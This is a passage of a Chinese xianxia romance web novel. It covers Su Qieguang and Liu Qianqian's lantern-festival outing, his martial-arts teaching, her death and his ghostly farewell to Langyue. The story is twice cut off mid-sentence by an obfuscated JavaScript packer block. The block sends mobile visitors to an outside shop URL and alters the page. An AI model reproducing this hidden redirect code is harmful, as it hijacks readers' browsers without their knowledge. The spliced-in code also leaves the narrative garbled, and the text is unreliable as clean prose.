许是感受到了这份颇为热切的目光,苏且光不由愣住,轻咳了几声复又冷回脸,说道:“怎么了?” 柳芊芊被唤回了神,她忙松手垂下帷幔,试图用这般愚蠢的方式来遮掩她的失礼和胡闹。此时她的脸色红到可以完全艳压这顶帷帽的春风桃色。 “没……没什么,我买好了。”她随手拨了几只铜板丢到了摊主手上,胡乱说了一句。 “对了,一般灯会是哪里最为繁华?” “哪里都差不多,最主要的区别是时间,晚上大街上估计是人满为患的,不过具体如何我也没见过。” 苏且光蹙眉:“还要到晚上?” 柳芊芊上前走了几步,理所当然地道:“对啊,不然我昨夜为何执迷于要你陪我逛灯会?若不是你,我现在估计早就被关回府里了,哪里还能撑到晚上?昨晚我逃出来只想着可以出来瞥一瞥灯会前夜的风景,没有妄想过还有机会留在今晚看灯呢。” 苏且光无言半刻,才说道:“那你为何不今晚逃?非要在昨夜?” “今晚府中怕是人多,几乎不可能逃出去的,你别以为你比我聪明多少。”柳芊芊摊手无奈道。 …… 白日里,苏且光任由自己被柳芊芊带东带西,将沧凌城最为繁华的一带风景上上下下逛了个遍。苏且光也算是沾了柳芊芊的光,跟着她后头吃喝不少,还将路识得差不多了。 一路上途经不少人潮汹涌之处,苏且光隐隐约约能察觉到人潮之间流动不止的诡异之气,这种气息与前几次他在大街上感觉到的比起来相似,却更为强烈。 随着街中人的人数越来越多,这种气息就越是浓郁。但是气息闻起来根本毫无源头,好似随意散落在城里的野种子,遍地可见,却怎样都找不到散播野种子的母体。 苏且光不是没有怀疑过人流里杂有妖物,但是后来也意识到这是绝不可能的事情,因为气息流动不止,人群里不可能会有数量如此庞大的妖物。与其说此气息是固着于个体之上的,不如说是弥散在空气之中的。 事情的毫无进展给他带来了隐约的不安。虽然他无法明确这股妖气究竟意欲何为,但是骚动的时间既然与封印渐有动摇的时间几乎平行,就算没有直接表明二者关系的线索,他也会下意识地将二者联想到一处,令他滋生更多不安的预感。 渐近日暮,朝霞边际已有天灯徐徐升起。 柳芊芊看得出苏且光不大开心,以为是自己一路上光顾着自己开心而怠慢了他,于是抱着负荆请罪的心情主动过来问他:“苏元卿,要不要去放天灯?算是我胡搅蛮缠你的赔罪礼了。” 苏且光看对方格外真诚的模样,心里却被针揪了一家伙,莫名的愧疚之意钻入心间,他默默摇了摇头:“倒也不必,我并不觉得你得罪了我哪里。” 毕竟他完全没有柳芊芊想得那么好,他的所作所为都基于自我的私欲,与什么所谓的乐善好施完全不是搭界的东西。所以,他觉得愧疚。 “我已经买了,不放会可惜的,这还是我第一次玩这个呢。”柳芊芊失望地瘪了瘪嘴。 面对柳芊芊的苦情戏,苏且光只是无奈地弯了弯嘴角,说道:“行,我陪你去。” 反正,以后也不会再见面了,多纵容纵容她也没什么大不了的了,苏且光心中想道。 他们二人寻了一处人迹稀少的河边,宽广的碧水上映满了星星点点的天灯。柳芊芊兴致勃勃地举着天灯,却发现自己寻不出多余的手去点燃灯火。 苏且光从上方接过天灯,慢条斯理地说道:“我来吧。” 柳芊芊开心地应了一声,她将吹燃的火折子沾上天灯底端的灯草,手心里的晦暗顿时明亮,照得她面上通红。 只是灯燃好后,柳芊芊见举着灯的苏且光迟迟不放手,她莫名其妙地盯着苏且光看。 苏且光斜斜瞥了一眼她,用略微嘲讽的语气讲道:“大小姐还真是没点生活常识,放天灯时要用心感受风向,倘若无风,我们便可自行造风,就像这样。” 他将天灯举得高出眼角,脚下沿着河畔快速走了起来,天灯在感受到他身边的风流之后,慢慢支楞了起来。他慢下脚步,天灯从手边离开,慢慢升上了亮堂堂的夜空。 柳芊芊跟在他的脚步后头赶上来,也顺着他的目光抬眼去看那朵放上高空的天灯。 她唇角慢慢升起,却又默默叹了一口气,复又看向了俊朗青年的侧颜,真心说道:“今天是我过得最开心的日子,自在,惬意,还得到了应有的尊重。” 青年微微侧眼,却见女子眼眶渐渐微红,不免愣住,那种略有愧疚的心情再度占据内心,他扯了扯嘴皮子,客套道:“不客气。” 似乎是不想自己狼狈的泪水落入他人眼底,柳芊芊又故作深沉地抬起头去看漫天的明灯。 可眼前泪气氤氲,哪里还能看清什么? 柳芊芊稳住心神,说道:“要是我没有猜错的话,像你这种性子的人之所以愿意无限度地纵容我,不是有利可图,那就是打算以后江湖不复见了。面对一个萍水相逢的人,你这般性情冷淡的人怎屑于浪费感情?你们江湖人,感情来得快也去得快,不都是这样吗?” “是吗?”苏且光没有看她。 他其实什么话都说不出来,所以才要用这样故作深沉的语气反问出这样一句“是吗”,就像是踢蹴鞠,推卸责任般将蹴鞠踢回对方的脚边。 柳芊芊怎样都不会想到她面前这个以假面示人的“苏元卿”比她想象得还要贪心,两样猜测——有利可图、江湖不复见,他一样都没少惦记。 苏且光与柳芊芊站在无风的河畔,久久无言。 不知什么时候,柳芊芊忽然冒出了一句语气可疑的话来:“可是你太低估我了。” “我比你想得还要刁蛮、还要贪心,我偏要一直将你这样的人拿捏在手,我劝你江湖不复见的想法还是早些打消掉好。” 莫名其妙的举动,莫名其妙的话语。 “什么?”苏且光愣了愣。 柳芊芊一个反身跳到他的身后,利用身高的悬殊,将自己的身影安置到他的视角盲区内,再趁他不注意,一个踢腿就往他的致命点踢过去。 苏且光一个趔趄弯下半截身姿,柳芊芊完全不留情点了他的穴位,将他定住。 “玩阴的啊。” 苏且光冷哼了一声。 “死鸭子嘴硬。” 柳芊芊歪了歪头,一边甩手一边嗤道。 苏且光忽地一个反手抓住了她的两只手腕。 “什么?!怎么可能?”柳芊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336312|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芊大惊失色。 “以其人之道还治其人之身,不先服软怎么才能降低敌方的警惕心呢,这都是跟你学的。”苏且光此时已经转回身来,不费吹灰之力就将柳芊芊的双手捏在一起,巨大的力道让她的每一次挣扎都备受折磨。 后来她便索性不挣扎了,反而兴致高涨地放声大笑了几声。 “笑什么?”苏且光眸色渐深。 “遇到了个懂我的高手啊,好久没这么开心了,我果然没有看错人!今日我再试你一道,想着把你的本性测出来,结果你都这般生气了,还没有害我之心,看来还是值得信任的。” 真是莫名其妙的女人。 “呵,你倒是敢赌。” “有些东西就是得赌的,而且我在赌之前也是下了注头的,才不是意气用事。” “行了,你快把我松开,反正我又打不过你。” 柳芊芊摆出一副服软的笑,将手抬了抬。 苏且光纹丝不动,神色冷淡,不容松神。 柳芊芊知晓现在自己的境地在对方眼里已是穷途末路,于是也不再刻意玩什么把戏出来,反而一反往常地松下神色,以真诚本心示人。 她叹了一口气:“我骗你耍你都是我的错,对不起啊。但是,你可以教我武功吗?我知道这样的要求很不要脸,但是,我真的很想遇到你这样的人,跟你这样的人学习、看世界。你笑我毫无生活的常识,可是,我并非自己不愿,我被困女儿闺阁,从来没有自我选择的权力。你笑我没有常识,何尝不是笑我眼界短浅看不到世界呢?我真是羡慕你。” 她眼泛泪花,可嘴角边还挂着笑。 或许这还是柳芊芊明面上故意摆出来的苦情戏,但却还是能一次又一次地击溃苏且光的防线。 她所说的,的确很能叫他共情。 毕竟他在很小的时候也有过类似的经历。 幼时家中从商,自己身为苏府嫡子,父母对他格外严厉,势要将他培养成苏家商道的唯一继承人,他自幼就得被迫学习自己不感兴趣的从商之道,每日每夜囿于窄小的书房里看有限的天地,简直是苦不堪言。 他从小便喜爱刀枪之术,看见亲族子弟早早从军报效家国,他怎会不羡慕?只是每次父母发现他的这种想法时除了一味的打压便是一味的说教,上战场之事在他们的眼中更是罪大恶极之事,那样危险的战场,他们的嫡长子若是因此丧命岂不是无人再支撑苏家的繁荣商道? 有几日,父母远门出走,去盛京谈生意。某天年幼的他掏了点好处给贴身的佣人和侍卫,好不容易偷出被父母藏起的长枪刀剑,自己一个人跑到城郊照着野本上的武术动作练习,尽管足够努力,身段却还是蹩脚生硬。 也是那一日,裴国公南下参加妻子族中支系老祖宗的生辰宴,他一武将最头疼的便是官场上人际复杂的勾心斗角,沧凌城街道繁华、人声喧哗,裴国公为寻得清净自行提了几壶酒水,跑到大老远的城郊看风景。 刚巧不巧看到一小儿在荒凉的草地上苦练长枪,步伐紊乱,手法慌张,既蹩脚又好笑,让微醺的裴国公越看越想笑。他借着微微酒意,挑了小儿的长枪,放声道:“小少年,光照这野本子上的招式练,你是练进棺材都练不出什么出息的!且看我给你耍几下子!” 裴国公一挽长枪,朝长空刺去,落地时,圈出一道狠厉的杀气,如此惊天动地,更是震撼了小儿的心神。 “你可以教我武功吗?” 小儿“噗通”一声跪下身子,掷地有声地说道。 这个小儿不是别人,就是幼时的苏且光本人。 若不是那天的奇遇,他这辈子何以能活得像如今这般恣意快活?何以去看边疆牧野、长空皓月还有民生疾苦? 113. 窃光难觅(7) 苏且光从未想过在无数年后还能亲耳听到旁人对他说出这句“你可以教我武功吗”,曾经,他是诉说请求之人,今时,他是倾听诉求之人。 人世百转蹉跎,是是非非,千秋更迭不断,如此复杂。但有时候往往一句简单得不能再简单的话落下,就能叫人轻易撇去所有繁琐的思绪,让一切返璞归真。 苏且光心里落下一拍,顿觉岁月恍惚。 一晃六年过去了,裴国公,义父早已不再人世。 他定在远处愣愣地看着柳芊芊琉璃般真诚的眼,手劲儿松下,柳芊芊得以解脱。 “你这是同意了?”柳芊芊有些惊喜。 苏且光默默叹了一口气,只是背过手去,神色清敛。 “我也有条件。” “尽管说便是!” 苏且光慢慢将眼神移过来,缓声道:“如果以后我有什么得罪到你的事情,看在我教你武功的情分上,你可以既往不咎。” 他的这些话虽然是讲给柳芊芊听的,但又何尝不是让自己得到心理安慰的话语? 他没有柳芊芊想得那么好,他从一开始便以假面示人,本以为与她以后不会复见,心里面便对此毫无感知。但如今既然答应了柳芊芊这桩事情,意味着以后又是一场长久的交际,于情于理,长时间的欺骗对柳芊芊来说会是伤害,对他来说也有拂了君子之义。 他有些苦恼,开始后悔自己之前怎的偏偏碰上了柳芊芊,后悔刚刚为何突然心软答应了对方的要求。 即便如此,他都没有作出任何反悔的事情。 …… 灯会渐入尾声,柳芊芊在苏且光的帮助下偷偷溜回了府。翌日她爹柳浚果真大发雷霆了一番,但也没禁闭她,谅在柳芊芊灯会上面没闹出事情,只是命人将其按到祠堂跪了半日。 柳芊芊重归自由后,她便日日去与苏且光约定的地方习武,时间并不长,待柳芊芊回去之后,苏且光还会在全城加紧搜索诡异气息。 日子一天天地过去,柳芊芊不由地被眼前这个成熟而俊朗的男子吸引,只是碍着面子常常将心意藏在心里,任其在心中慢慢发酵,愈发浓郁。 一个常常被女礼约束的女子,在跨出看向世面的脚步后,怎会不被更加广袤的天地吸引?柳芊芊在与苏且光的相处中,常常听他讲述大周的美景美酒,听他诉说男儿的埋骨衷情,亦跟随他的思绪去体会不曾见过的天下民生。 她越是接近这样的人,便越是觉得贪心。因为稀有的人和物,谁会不想占为己有?喜欢这个词或许早就无法概括她对苏且光的复杂情感了,艳羡、期许、贪恋、依赖、拥有……都不足以将其完整概括。 并且她总是能隐隐感觉到苏且光对她也是有诸如此类的情愫的,只是不知为何对方的情愫总显得格外隐忍,而非要去刻意掩饰。 她心思细腻,不敢逾矩。总是默默守着心里的情丝,久而无言,装作一副万世太平的模样。 但是,她从未想过自己幻想过无数次的幸福的开端,在还未正式驶入轨道的时候,便就要结束了。 苏且光终于发现了诡异之气的源头——动摇的封印。他也发现了为何之前自己察觉不了封印之中的这股气息的原因,苏府祠堂常常忽起暗雾,那种怪异的雾气会麻痹外人的感知,致使其无法察觉封印散出的那股怪异之气。 那股气息令苏且光无数次陷入思考,他暗暗发觉六年前的血蠕之气与此气息有着很多共性,因而开始怀疑沧凌城即将陷入血蠕的灾难。正当他刚后知后觉到事情的繁琐性远比他想象得要恐怖时,他再没有机会留在沧凌城去发掘血蠕的秘密,反而因南夷战事的突然推进被迫提前上了战场。 他本以为如此之多的事情忽然开始重叠是巧合,所以觉得自己只要摆平南夷之战就可以再回到沧凌城,继续着手他的秘事。 或许,还能找到机会和柳芊芊坦白自己的身份。 事情太过突然,在南夷战事之前就坦白身份在苏且光眼中是极其欠考虑的想法,更是对柳芊芊的不负责任。有些事情,他的解释太少,一旦暴露,会令人心寒。 于是,在某一日傍晚红霞下,他主动找了柳芊芊,递给了她半块玉石,在对方万般期许的眼神下,却仅仅是说了一句话:“柳若芊芊,窃光难觅。” 这句话涵盖了苏且光心中的千言万语。 在柳芊芊耳里,这更像是一句情话,留下联翩浮想。可惜的是,柳芊芊极难理解语中“窃光”二字的涵义,她明里暗里问过他此话何意,他却只是摇头笑笑,什么话也不说。尽管如此,但也足够叫柳芊芊红了脸蛋,胜于傍晚红霞。她从此心中默想,此时的眼中人便会是她一辈子的心上人。 柳芊芊从未想过,那日恨不得悬在傍晚漫天红霞之上永不坠落的欣喜,会在次日就被狠狠地砸进了扶不上墙的烂泥之中。她眼中的心上人在某一日忽然消失了,她找了许久,却杳无消息,自此数月从未相见。 几个月后,她没有等来故人苏元卿的消息,却等来了父亲柳浚为了一己私欲,不顾旁人冷眼,也要将她嫁进苏府里那位“病入膏肓”的嫡子的消息,说是要她给那位嫡子冲冲喜。 自此以后,她唯一能握在手中的自由的权力也被无情地收回——柳浚怕她逃跑,便在府中里里外外设下重重防守,不知道的哪里会知道这里面关着的是柳家的嫡女?只以为是哪个狱牢里压着的什么穷凶极恶的犯人罢了。 拜几个月来向苏且光求习的武功所赐,柳芊芊成功逃跑过一次。 那一次离家出走,她运道不好,在自己体力不支的情况下遇到了一群数量庞大的歹人。不谈她身体不佳的情况了,纵使她力大无穷,也不可能以一己之力抗倒这群膀大腰圆的歹徒。 她自以为人生便要就此止步,失落渐渐变成绝望,力穷之后,便自行晕倒了过去。 却不想,在她醒来之后,自己非但没有被侵犯伤害,那些骇人的歹徒们还个个命丧黄泉了。 横尸之间,她寻到了一块眼熟的玉,不,准确来说是半块! 在最后见苏且光的那个傍晚,他给过她的一块玉,模样特别,同普通边缘完全圆滑的玉不同,那块玉是上圆下缺的样式。她当时只以为苏且光给她的这块玉仅此一块,却没有想到在几个月后还能看到类似于她身边的那块玉的另一半——上缺下圆。 所以准确来说,她身边的这块玉与她捡到的那块玉都各为半玉,合起来才是一个整体。 这是一对玉。 柳芊芊心绪激动,因为她知道,除了那位名为苏元卿的故人以外,不可能还有谁有这另一半的玉。 故人还在! 昨日她遭遇不测却又莫名获救并非是天命使然,而是故人搭救!可是为什么,故人明明还在意她,所以他不可能不知道她在苦苦寻找他的踪迹,可到底为什么,他却不肯见她?! 欣喜转瞬间化作哀怨和不解,引来的更是持久的心痛。 后来柳芊芊也固执地搜寻过周围的地方,却依旧毫无所获。故人再次消失。 她失魂落魄地行走在孤寞的古巷子里,遇上了一位自称懂行的老婆婆,她偏要探她手上握着的那半块玉,定睛一看后大呼“此非人物哉”! 柳芊芊苟延残喘了没多久,就遇上了柳府四处搜寻她的侍卫武夫们,他们将她硬生生扛回了府中。她安生了好多日,在家中搜寻万千孤本,知晓天地风云和修真门派仙机门的名声,书中的这些人或事,皆认定世上有灵之物非人便是妖,若故人不是人,那 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那一次柳芊芊的离家出走拉高了柳浚和全府侍卫武士们的警惕心,柳芊芊暂时找不到任何逃脱的机会。迫于命运的穷追不舍,柳芊芊不甘沦为父亲换取贪欲的筹码,她想过很多办法,写过很多向外求助的信,而这些信的命运与她本身一般无二,连探出柳府的机会都不曾有过。 时间慢慢流逝。 沧凌城怪病四起,柳芊芊联想到那苏府患病不起的嫡子,越想越觉得后怕。 因为她听说,沧凌城此次冒出的病是种难以医治的怪病,凡是病重者唯有死路一条,病轻者目前也仅有缓兵之计可用,无法根治。 怪病兴起的时间与苏府嫡子重病的内部消息在时间上所差无几,倘若苏府的嫡子患的就是这怪病,目前已至膏肓之态,那不就是绝无生还的可能了? 那她爹柳浚何止是要将她嫁过去给人儿子冲喜?!世上哪有这么轻松容易的事情?所谓“冲喜”便就是个说法,实际上等那苏府嫡子去了,柳芊芊便是冥婚嫁过去给人压棺材板子的吧! 她不想死,哪怕只是一点点的可能性也不想。 她有欢喜的人,不甘被命运左右,撒手余生…… 随着时机成熟,柳芊芊半夜出走,探清楚了侍卫武士门行走换岗的空当,终于寻到了第二次逃出柳府的机会。 那便是她初见芍七的地方——乌巷。 芍七捂住她口的熟悉动作曾经让柳芊芊一度以为故人再度出现,想要救她。但她碰见的只是个陌路之人,极度的失望再度将她的坚忍踩进泥潭,委屈之意上涌不止。 好不容易摆脱芍七之后,她于茫茫黑夜之中亲眼看到芍七从一个活生生的人变成了一缕缕烟雾,遁入无形。 她害怕,却更多的是惊喜。 因为,她终于知道,妖物之言并非只是局限于孤本中世人常以为的荒诞玩味之语,而是的的确确存在于现实中的。 她哪里是疯了?她先前的猜测都是对的,她哪里疯了? 她慌乱逃出原地,跑到寂静无声的河岸边,任由清风明月照得泪面荒凉,她独自凭栏,手中抚摸着悬在腰间的两块半玉,委屈巴巴地在岸边,像个疯妇一般,哀嚎诉苦,大骂故人混账。 再后来,她重新被抓回。 只是不知是不是老天爷忽然开了眼,那些从未送出去过的求救信笺,忽然落入许久未见的旧友陈织梦手里,为救她,柳芊芊寻得萧喜帮助,阴差阳错下,她就被正大光明地,以“请巫”的名义被抬出了柳府,其间应了萧喜众人的计划,以劫匪劫走柳大小姐的表象,顺利让柳芊芊摆脱柳浚的掌控。 114. 窃光难觅(8) 再往后的事情苏且光已经说完,他因发现血蠕秘密,在南夷之战受伤回府疗伤之时,被幕后黑手以借刀杀人之法放血而死。 这便是事情顺其正向时间线发展后的大概模样。 在这里,苏且光、朗月、萧喜都已知事情全貌。 唯独已死的柳芊芊除外。 她并不知道陈织梦意外受到信笺,并非顺其自然抑或是她所以为的老天开眼,才得以发生的事情,而是苏且光死后化作药童卿卿之后故意布局后体现的其中一环。 她只是知道她苦苦寻找的故人哪里是什么妖,她之所以寻不到踪迹其实是因为故人早已死去。她也知道对方的真名并非她口口声声喊过的“苏元卿”抑或是“卿卿”,而是那大名鼎鼎的“苏且光”,是苏府的嫡子,更是她爹柳浚为她谋得的好“丈夫”。 命运多舛,到头来,弯弯绕绕不断,终点永远都是同一个人。 柳芊芊死前终于见到故人的模样,时间仓促,除了帮苏且光记下需要传递给外人的信息以外,他们甚至没有多余的时间叙上一叙。最终不过是默默含泪相望,不得触碰,柳芊芊苦涩地咽下千言万语,只是说了那句格外熟耳的话:“柳若芊芊,且光难觅……窃光难觅…….我终于明白了。” 回忆里的这句话…… “如果以后我有什么得罪到你的事情,看在我教你武功的这件事上,你可以既往不咎。” 既往不咎……原来是这个意思。 起码,柳芊芊自认为在死前没有误会了别人,也算了结了憾事,说实话,没什么好惦记的了,反正。 回到夜风萧瑟的苏府内院里,残破不堪的祠堂没入烂泥,等待腐败,岑寂静默的空气中,湿气渐渐凝落入土。 “最后,你为她做的那些事情,还是没有告诉她是吗?” 萧喜垂着首,神色哀默,所以她总是压着眼皮,试图不叫外人看出她眼底的这份低落的情绪。 这段故事的结尾太过令人唏嘘,她觉得惋惜,听完之后,心里便再无地方安放别的什么心思,只剩空拉拉的一片。 “我希望芊芊走得舒坦些,不要像我一样,变成这副鬼样子。” 苏且光的声线渐渐低缓。 萧喜貌似对苏且光略微含糊不清的回答不大满意,她久久未说话。 朗月侧过身来,跟着萧喜后面沉默了半晌,才说出话来:“苏且光这话听起来并不似心言。之所以直到最后还保持沉默,追根到底,还是因为他心中含愧。他从最开始就因为自己以假面示人而感到心愧,但这只在现在的苏且光的复杂心理中,占了其中一小部分。” 他转过头来,看向苏且光:“而绝大部分还是因为你忌惮于自己是苏府嫡子的身份吧,更是忌惮于自己死后这样的身份会成为囚住柳芊芊命运的牢笼。” 苏且光苦涩地张了张口,失声笑了两声:“原来,遮遮掩掩的谎言被旁人当面揭开真面目的感觉是这样啊。抱歉。” 他怔怔地望了望没入夜色里的那两只棺材,头慢慢抬起,眼波在不断流转:“我对芊芊的那份喜欢的回应太过姗姗来迟,从前往往会因为这个,在夜晚辗转反侧,觉得心里梗着钉子,万分难受。但等到苏府一系列的事情发生后,我又发现原来这份姗姗来迟的回应,最后会成为让芊芊逃脱无限悲苦命运的唯一一丝希望。” “我的回应,我的喜欢,在我死后,成为了芊芊的负担。” “无论是她埋怨我一声不吭的离开,还是发现苏府嫡子便是我,从而因为冥婚之事埋怨于我,两种结果对我来说都是逃脱不了的死局,但是对她来说,却不是。我宁愿让她什么都不知道,只需要狠狠埋怨我。” “我害怕她知道我的身份,害怕她真的会因为太过喜欢我,从而放弃自己一直追求的自由或是仅仅一次的生命,我也害怕她对我感到失望,害怕她觉得那个曾经她羡慕崇拜的、让她睁眼看世界、寻找找自由的我,会没有她想象得那么美好,害怕那样的我会在不久的未来冷酷地告诉她,我还会夺走她曾经想要的一切。” “我宁愿她什么都不知道,真的。” 月亮拨开云层,斜斜地打进院落,占了满窗夜色。 无论苏且光怎样竭力抬首掩饰,他脸庞边还是划下了一道不争气的痕迹,在月光下反射出凉凉的色泽。 萧喜不知道自己到底怎么了,或许是今晚接踵而至的打击太过密集,她的泪点总会在不经意间低至谷底。她以为自己的泪水早已流光,以为自己可以有持无恐的,去迎接下面任何一次情感上的冲击。 可是终究是自欺欺人,短时间内的休憩,泪水重新蓄满,她脑中不断回想起柳芊芊死前歪躺在自己怀中说的话,还有她悲苦却又难以释然的情绪。 她深吸了口凉气,努力将泪憋回去,与此同时,心里却又被骇人的凉气压得有些不堪重负,真是两相为难。 “如果柳芊芊知道你是这么想她的,她一定会难过死了。” 萧喜颤了颤,即使语气寒凉,却依旧有着说话人极力想要表现出来的冲击力,似乎真的是在努力为柳芊芊打抱不平。 “什么?”苏且光愣了愣,转回眸子,垂下泪光看着萧喜。 “喜欢又不是牺牲,你自诩那么懂她的一个人,你知道这样一个道理,却又死死不信你喜欢的那个人不会懂这个道理。柳芊芊哪有你想的那么脆弱而禁不起考验?她可厉害了,她努力了那么久,努力对抗命运,努力不计前嫌、一直寻找你,这样的一个人怎么会脆弱?” “柳芊芊死前的那个夜晚,靠在我的怀里,死死地攥住我的衣角,拼了命地与我说的第一句话是‘卿卿是好人’,她的语气里从未像你所想的那样有任何埋怨悲怆的情绪。” “苏且光你都想错了,你与我们有什么不同呢?你为什么会觉得自己的回应和喜欢会是柳芊芊的负担呢?还不是因为你和我们一样,觉得柳芊芊的死都是自己造成的,愧疚不已,不是吗?” 苏且光怔住,最后还是摆下姿态,自甘堕落一般苦涩地弯了弯唇角乖乖承认:“是。” 萧喜不争气的搓了搓泪眼,觉得苏且光与自己真是相像,无与伦比的共情力在心中蔓延滋生。 萧吉拥抱她的画面还历历在目,哥哥的话语,字字句句,填补起多年来她的因自我的否认不断被侵蚀下的罪孽的伤口。而当她以另外一种姿态站到苏且光面前时候,这道还隐约疼痛的伤口才算是真正愈合好了。 “或许柳芊芊想要的只是你的坦诚相待,还记得吗,柳芊芊最后与你相见时只是说了那一句话,‘柳若芊芊,且光难觅……窃光难觅…….我终于明白了’,她恨的、怨的、难过的、想要的,都不过是你的坦诚相待。” 苏且光耐心地听着萧喜的字字句句,明明声音不大,却给他的心绪带来填山倒海的力度,他谛视着萧喜慢慢说道:“也许我早就应该明白珍惜眼前人的这般道理。” 萧喜因为情绪的不稳定,显得思路格外迟缓。苏且光的话总是暗含某种哲理,让现在的她无法顷刻理解,她默默垂着头,脚步有些不稳,过度的情绪消耗终究是击垮了她。 萧喜的意识逐渐模糊,她在逐渐分不清现实于虚幻的边缘上,等待深不见底的情绪深渊将她卷入其中,长时间的悲观情绪,会不听使唤地将宿主吞没,且总是一发不可收拾。 眼看着萧喜要晕了过去,朗月的动作比任何时候都要快,他赶忙凑到萧喜的身边,任由比他矮下半截身子的脑袋,安安稳稳地靠在他的胸膛上。 暴雨过后,两人单薄的衣物都变得格外贴合皮肤,靠在一起时,竟显得毫无界限,接触变得万分细腻。 朗月不知所措地愣在原地,喉结也僵住,只知道自己冰冷的身体在一步步升温。 苏且光的时间也已不多,他的下身一点一点地化作萤粉,萦绕着雨后的湿气,步步走向最后的毁灭。 没了萧喜的干预,苏且光对朗月的态度也不再冷然。 “我看你方才如此要与我划清界限的模样,是不愿让她知晓我们的关系吧……裴澈。”苏且光不愿再卖关子。 朗月应声抬首,眼中惊诧。 十多年过去了,再没有人喊过“裴澈”这个名字了,好像世间已无此人的存在,所有人都要将裴澈忘却,就连他本人也是如此。 苏且光的称呼让朗月心里十分不好受,因为,一旦”裴澈”二字出口,他就不可能不去想十多年前仙机门外,他的母亲与他在磅礴大雨下齐齐跪地的场景,更忘不掉母亲逼迫他离去的话语,和母亲离开仙机门时冷瑟萧索的身影。 他以为母亲早已如传闻所说,为父亲殉情而死,却不料事情在他十七岁时忽然拥有转机。 在他此年刚出仙机门时,仙机门门主,他的师父,告诉了他,他的母亲裴氏并没有死…… 朗月的睫羽扫下,再抬起之时,已经沾上了细微的泪珠。 “母亲她还没有死是吗?”他颤声说道。 “阿澈……” 苏且光说着,眼神却不敢直视朗月。 “告诉我!”朗月忽然提声,眼眶红透。 但他攥紧拳头,却还是逼迫自己守住了礼节,抑制下了冲动后,他压抑地问道,甚至放下倔强的傲气,低声下气地喊着对方哥哥:“求你了……哥哥……求你……告诉我……” 其实他心中已经有数,只是不愿相信,所以还要不自量力地多问一遍问题,多求一遍解答。 苏且光看着眼前强忍泪水却要故作坚强的少年,心中酸意翻滚,心疼不已,终还是没忍住防线告诉了他:“是,夫人……她还活着。” “那她为什么不要我,为什么不要我……她骗了我,对么?” “她明明活着,明明知道我还在……为什么不来找我,她就是不要我了,还骗了我……” 原本冷静自持的少年郎不知什么时候就弯下了脊背,哭得泣不成声。 “不是的,阿澈……夫人不是你想得那样。” 苏且光眼神躲避,他心中有话,却牢牢忍住不肯将其说出。有些事实在此时说出来是比想象中还要有威力的,与其由他这个旁观者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503102|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去讲述,不如让朗月自己去亲眼见证。 “阿澈,去找夫人吧,她在盛京,一直都在等你呢。” 苏且光哑声说道。 此时,靠在朗月胸膛上的萧喜有些不耐烦地动了动,应是被朗月刚刚那番动静吵到了精神。 眼看着靠在自己身上的姑娘又要歪倒到另外一边去,朗月只好顾不上其他,忍着哭劲儿狠狠用手撮去了挂在脸上的泪花,从而腾出手来将萧喜重新安置好。 苏且光苦涩的眉眼在看到这番画面时还是渐渐舒缓了下来,好似看到了自己当年的身影。 回忆渐渐上头,苏且光的神色才渐渐苦涩了回去。 “你如此费尽心思地在她面前掩饰内心,对她来说其实是种伤害。她刚刚那番话你也听到了,她说芊芊最想要的是我对她的坦诚相待,还有行于当下的珍惜。话本脱于她口,她说的那些,也未必不是她想要的。阿澈,切记珍惜眼前人,莫要变成我这样了……” 语声落下,渐入空灵。 萤火纷飞,乱入潮意。 苏且光最后一丝身影也不复存在,在这世上,朗月仅剩下的亲人又默默离去了一位。 随着萤火烧尽光辉,朗月腰间空虚的玉扣上重新挂回了属于自己的那块昭玉。 万事了却,也该物归原主了。 …… 在暂时安置好萧喜之后,朗月顶着昏沉的脑袋,在夜色落幕的最后一刻终于将苏且光和柳芊芊的棺椁埋进了土中。 今夜发生之事,除了朗月他自己还有身边的萧喜以外,所有人都会忘记。 苏且光和柳芊芊的死,不会再与躲在暗处的幕后之人挂上任何关系,而是会直接牵扯起苏府与柳府的内幕。苏府心怀坏胆之人和柳府柳浚等一系列恶人终将会受到他们应得的报应,沧凌城中闹得沸沸扬扬的不治之症也会在后期的舆论处理上重新翻篇。 这些事情,朗月会在最迟三日之内远程报信仙机门,届时自会有人来处理。 仙机门么…… 若真如青灯等人所说,师父究竟……在掩藏什么呢,而他,在师父眼里当真只是一个普通的得意门生么? 所以,他决定有些事情先暂留心中,并不随之禀了去。但愿装作什么都没发生了一样就好。 朗月想着想着,愈发觉得恍惚不已。 天色愈发亮起。 朗月再没有时间在苏府耽误,萧喜此时还晕晕乎乎的,他索性背着她出了苏府。 在路上时,萧喜恍惚地醒过一次。她发现自己被朗月背在背上时,吓得差点魂飞魄散,吵着闹着要朗月放她下来。 朗月拗不过她,只得按她所说放她下来。 眼看着萧喜又要歪过去,朗月上手抓稳她的两只手臂。 萧喜被他的动作弄得一惊,没晕成,她垂首盯着对方抓住自己的手看,不一会就又挣扎起来,虽然没什么力道。 她面露抱歉之色,挤着眉头,眯眼晃头地和朗月说:“不能麻烦你,我知道……你很想和我保持距离,我虽然看起来无赖,但是我把你当真正的好朋友,一定要尊重你的选择。” 朗月的双手僵住。他知道萧喜的言外之意,而能让萧喜的态度忽然转变的事情只会发生在今夜。 萧喜究竟是什么时候看出了他的破绽?明明……他在苏且光面前伪装得很用力。 其实,若不是苏且光和萧喜的提醒,他估计到现在都意识不到原来自己的内心从来都是封闭的。 